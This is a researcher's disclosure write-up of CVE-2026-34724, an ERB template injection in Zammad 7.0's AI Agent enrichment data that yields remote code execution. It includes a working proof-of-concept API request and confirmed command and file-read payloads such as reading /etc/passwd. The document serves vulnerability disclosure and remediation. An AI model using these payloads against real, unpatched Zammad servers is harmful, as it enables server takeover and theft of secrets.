This is the first of three findings I reported to Zammad in March 2026, and the most serious of the set. Zammad is a widely deployed open-source help-desk and ticketing platform; version 7.0 (March 2026) shipped a new AI Agent feature, and with it an entirely new attack surface that turned out to reach a very old, very dangerous code path.
It was fixed in 7.0.1 and assigned CVE-2026-34724. I rated it Critical (CVSS 3.1, 9.1); Zammad scored it 8.7 (High) on CVSS v4.
Background
The AI Agent feature lets an administrator configure agents — for example a TicketCategorizer — that enrich and act on tickets. Part of that configuration is a type_enrichment_data hash, e.g. { "category": "billing/invoicing" }, whose values are merged into an instruction template before the agent runs.
Under the hood, Zammad builds that instruction template through its long-standing NotificationFactory rendering stack, which is an ERB engine. ERB happily evaluates embedded Ruby (<%= ... %>), so anything that reaches it as a template — rather than as data — is code.
Root cause
The vulnerable path lives in app/models/ai/agent/type.rb. When an agent’s execution definition is built, replace_placeholders substitutes the configured enrichment values directly into the template string with String#gsub, with no sanitization:
# app/models/ai/agent/type.rb (simplified)
def replace_placeholders(structure_string)
PLACEHOLDER_FIELD_NAMES.each do |placeholder_name|
placeholder_pattern = "#{placeholder.#{placeholder_name}}"
replacement_value = enrichment_data[placeholder_name] || ''
# attacker value injected verbatim into the ERB template
structure_string = structure_string.gsub(placeholder_pattern, replacement_value.to_s)
end
structure_string
end
The resulting string is then rendered with trusted: true:
NotificationFactory::Renderer.new(template: structure, trusted: true).render
That flag matters. In lib/notification_factory/template.rb, #to_s only escapes ERB opening tags when the template is not trusted:
result = result.gsub(%r{<%(?!%)}, '<%%') if !@trusted # escaped only when trusted:false
With trusted: true, escaping is skipped and the string lands in the execution sink in lib/notification_factory/renderer.rb unchanged:
ERB.new(@template.to_s).result(binding) # arbitrary Ruby runs here
So an admin-supplied enrichment value containing <%= ... %> is evaluated as Ruby on the server.
This is the same trusted: true ERB mechanism behind the much older CVE-2021-42093 (which reached the sink through Triggers and was patched back in 4.1.1). The AI Agent code path, introduced in mid-2025, reopened the same sink through a fresh, unguarded route.
Attack path
- The attacker holds an account with the
admin.ai_agentpermission. - They create an AI Agent via
POST /api/v1/ai_agentswith an ERB payload intype_enrichment_data.category. - They create a Trigger so that ticket creation invokes the agent.
- Any user creating a ticket fires the job (
TriggerAIAgentJob→Service::AI::Agent::Run), which builds the template, splices in the payload, and renders it withtrusted: true— executing the Ruby. The command output comes back embedded in the rendered result structure.
Proof of concept
POST /api/v1/ai_agents HTTP/1.1
Host: zammad.example.com
Authorization: Basic <admin_credentials>
Content-Type: application/json
{
"name": "poc-rce",
"agent_type": "TicketCategorizer",
"active": true,
"type_enrichment_data": {
"category": "<%= `id`.strip %>"
}
}
Confirmed payloads on a live 7.1.x instance:
| Payload | Result |
|---|---|
<%= `id`.strip %> | uid=1000(vboxuser) gid=1000(vboxuser) ... |
<%= `whoami`.strip %> | vboxuser |
<%= `hostname`.strip %> | deb |
<%= File.read("/etc/passwd").lines.first.strip %> | root:x:0:0:root:/root:/bin/bash |
<%= (7*7).to_s %> | 49 |
The output came back embedded in the rendered result structure, e.g.:
"result_structure" => {
"uid=1000(vboxuser) gid=1000(vboxuser) groups=1000(vboxuser),100(users)" => "string"
}
Impact
Remote code execution as the Zammad application user: arbitrary file reads, secret exfiltration, reverse shells, lateral movement into internal infrastructure, or direct database tampering.
In my report I rated this Critical — CVSS 3.1 9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H). Zammad scored it 8.7 (High) on CVSS v4 — below Critical because exploitation requires a high-privilege administrative configuration step (admin.ai_agent). That is a fair call — but “admin-only” is not “harmless”: it removes any audit-time expectation that agent configuration is inert data, and it converts a configuration surface into a code-execution one.
Fix
The released fix escapes ERB delimiters in substituted enrichment values before they reach the template. The more robust approach — which I also recommended — is to never splice user-controlled values into an ERB-rendered string at all, and instead pass them into the binding as variables so they can only ever be data.
References
- GHSA-fg9w-jg8f-4j94 — Zammad security advisory
- CVE-2026-34724 — NVD entry
- Zammad 7.0.1 release
- Related lineage: CVE-2021-42093 — same
trusted: trueERB sink via Triggers
Thanks to the Zammad security team for a quick, professional turnaround.